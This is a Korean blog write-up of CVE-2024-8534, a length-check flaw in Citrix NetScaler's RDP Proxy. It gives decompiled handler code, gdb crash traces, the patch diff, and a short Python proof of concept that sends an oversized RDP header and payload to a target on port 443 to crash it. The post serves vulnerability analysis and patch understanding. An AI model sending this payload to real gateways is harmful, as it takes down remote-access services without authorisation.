[하루한줄] CVE-2024-8534:Citrix NetScaler RDP Proxy DoS
URL
https://www.assetnote.io/resources/research/citrix-denial-of-service-analysis-of-cve-2024-8534
Target
- NetScaler 54.29
Explain
Citrix NetScaler의 ‘RDP Proxy’ 기능은 사용자가 VPN 터널 없이 Citrix Gateway를 통해 RDP 서버에 연결할 수 있도록 지원합니다. 이 기능은 기본적으로 비활성화되어 있지만, 활성화하면 RDP 연결 파일과 세션 토큰을 활용해 인증을 수행합니다.
CVE-2024-8534는 해당 기능의 RDP 연결 요청 값(길이)을 적절히 검증하지 않아 발생
하는 메모리 손상 취약점으로, 공격자가 조작된 요청을 보내면 DoS를 유발할 수 있습니다.
nsaaa_rdp_handler
nsaaa_rdp_handler
는 NetScaler의 RDP Proxy 기능에서 RDP 요청을 처리하는 핵심 함수입니다. 이 함수는 주어진 요청의 데이터를 확인하고, 유효성을 검사하며, 필요한 경우 응답을 생성하거나 후속 처리를 담당합니다.
// nsaaa_rdp_handler
uVar14 = *(ushort *)(*(char **)(param_1 + 0xe8) + 2); // RDP 패킷의 길이 필드 읽기
uVar14 = uVar14 << 8 | uVar14 >> 8; // Big Endian 변환
param_2[0xbc] = (uint)uVar14;
if (*(ushort *)(param_1 + 0xf2) < uVar14) { // 경계 검증 부족
// 추가 검증 없이 데이터 처리 계속
}
위 코드 중, RDP 헤더의 길이를 읽고 처리하는 과정에서 취약점이 발견되었습니다.
공격자는 uVar14
값을 악의적으로 설정한 패킷을 전송하여 길이 필드 검증을 우회할 수 있습니다.
아래는 nsaaa_rdp_handler
의 주요 동작 방식입니다.
RDP 패킷 구분
nsaaa_rdp_handler
는 RDP 요청을 구분하기 위해 패킷의 첫 번째 바이트를 확인합니다. 이 값이 RDP 프로토콜에서 사용되는 특정 값(\x03
)과 일치하는 경우에만 처리 루틴이 호출됩니다.요청 길이 확인
함수는 RDP 요청의 길이를 나타내는 2바이트를 읽고, 이 값을 Little Endian에서 Big Endian으로 변환하여 내부 변수에 저장합니다.
- 패치 전에는 이 요청 길이 값에 대한 제한이 없었지만, 패치 후에는 요청 길이가 512 바이트를 초과하는 경우 처리 루틴을 종료하도록 검증 로직이 추가되었습니다.
패킷의 유효성 검사
요청 길이와 다른 필드 값을 검사하며, 불완전하거나 비정상적인 요청에 대해서는 즉시 정리(cleanup) 루틴을 호출하고 처리 과정을 종료합니다.
데이터 처리
요청이 유효한 경우, RDP 요청의 특정 데이터를 추출하고 이를 기반으로 인증(authentication) 및 타겟 정보 처리(target resolution) 작업을 수행합니다.
결과 반환 및 후속 처리
- 요청이 성공적으로 처리되면, RDP 연결을 설정하거나 해당 요청의 결과를 반환합니다.
- 처리 중 오류가 발생할 경우, 에러 메시지를 생성하고 로그 파일(
/var/log/ns.log
)에 기록합니다.
Program received signal SIGBUS, Bus error.
0x0000000001dd8a6d in ?? ()
(gdb) bt
#0 0x0000000001dd8a6d in ?? ()
#1 0x000000000145fdcc in ?? ()
#2 0x00000000013b1e3a in ?? ()
#3 0x00000000013bfc6d in ?? ()
#4 0x00000000013afd76 in ?? ()
#5 0x00000000006c9519 in ?? () <- **nsaaa_rdp_handler**
페이로드 크기를 설정하는 uVar14
가 실제 패킷 크기와 일치하지 않으며, 공격자가 이를 조작하면 메모리를 손상시킬 수 있습니다. 위 크래시는 주로 잘못된 포인터 역참조로 인해 발생하며, 요청이 처리되는 도중 다양한 위치에서 크래시가 발생했습니다.
해당 크래시를 분석하면, 아래와 같은 2가지를 알아낼 수 있습니다.
요청 길이인 2바이트가 처리 과정에서 Big Endian으로 변환된 후, 해당 값이 512 바이트를 초과하는 경우에도 제한 없이 처리
(gdb) x/i $rip => 0x1dd8a6d: mov QWORD PTR [rax],rcx (gdb) x/i $rax 0x414141414141416b: Cannot access memory at address 0x414141414141416b
크래시 지점에서 메모리 쓰기가 시도되었고, 페이로드의 일부가 메모리 주소 레지스터에 저장된 것을 확인
PoC
import socket
# 조작된 RDP 요청 생성
payload = b"A" * 4000 # 허용된 길이를 초과하는 페이로드
header = b"\x03\x00" + len(payload).to_bytes(2, 'big') # RDP 헤더 생성
request = header + payload
# 타겟 시스템으로 요청 전송
sock = socket.socket()
sock.connect(("TARGET_IP", 443)) # TARGET_IP는 취약한 NetScaler 장치의 IP로 변경
sock.sendall(request)
sock.close()
분석 내용을 토대로, PoC를 통해 공격자는 NetScaler 장치를 비정상 종료시킬 수 있습니다.
패치된 코드
패치 전:
uVar14 = *(ushort *)(*(char **)(param_1 + 0xe8) + 2); uVar14 = uVar14 << 8 | uVar14 >> 8; param_2[0xbc] = (uint)uVar14; if (*(ushort *)(param_1 + 0xf2) < uVar14) { // 경계 체크가 없음
nsaaa_rdp_handler
는 요청 길이에 대한 제한이 없기에 매우 긴 요청이 전달될 경우, 메모리 커럽션이 발생할 수 있었습니다. 이는 버퍼 오버플로우 및 비정상적인 메모리 접근 문제로 이어질 가능성을 높였습니다.패치 후:
uVar14 = *(ushort *)(*(char **)(param_1 + 0xe8) + 2); uVar14 = uVar14 << 8 | uVar14 >> 8; param_2[0xbc] = (uint)uVar14; if (0x200 < uVar14) { // 길이 필드가 512를 초과하는지 확인 _DAT_036cfe40 = _DAT_036cfe40 + 1; FUN_009d6770(param_2,0x11f); goto LAB_006c67d2; }
요청 길이가 512 바이트를 초과하는 경우, 추가 처리를 건너뛰고 정리(cleanup) 루틴으로 이동하도록 제한이 추가되었습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.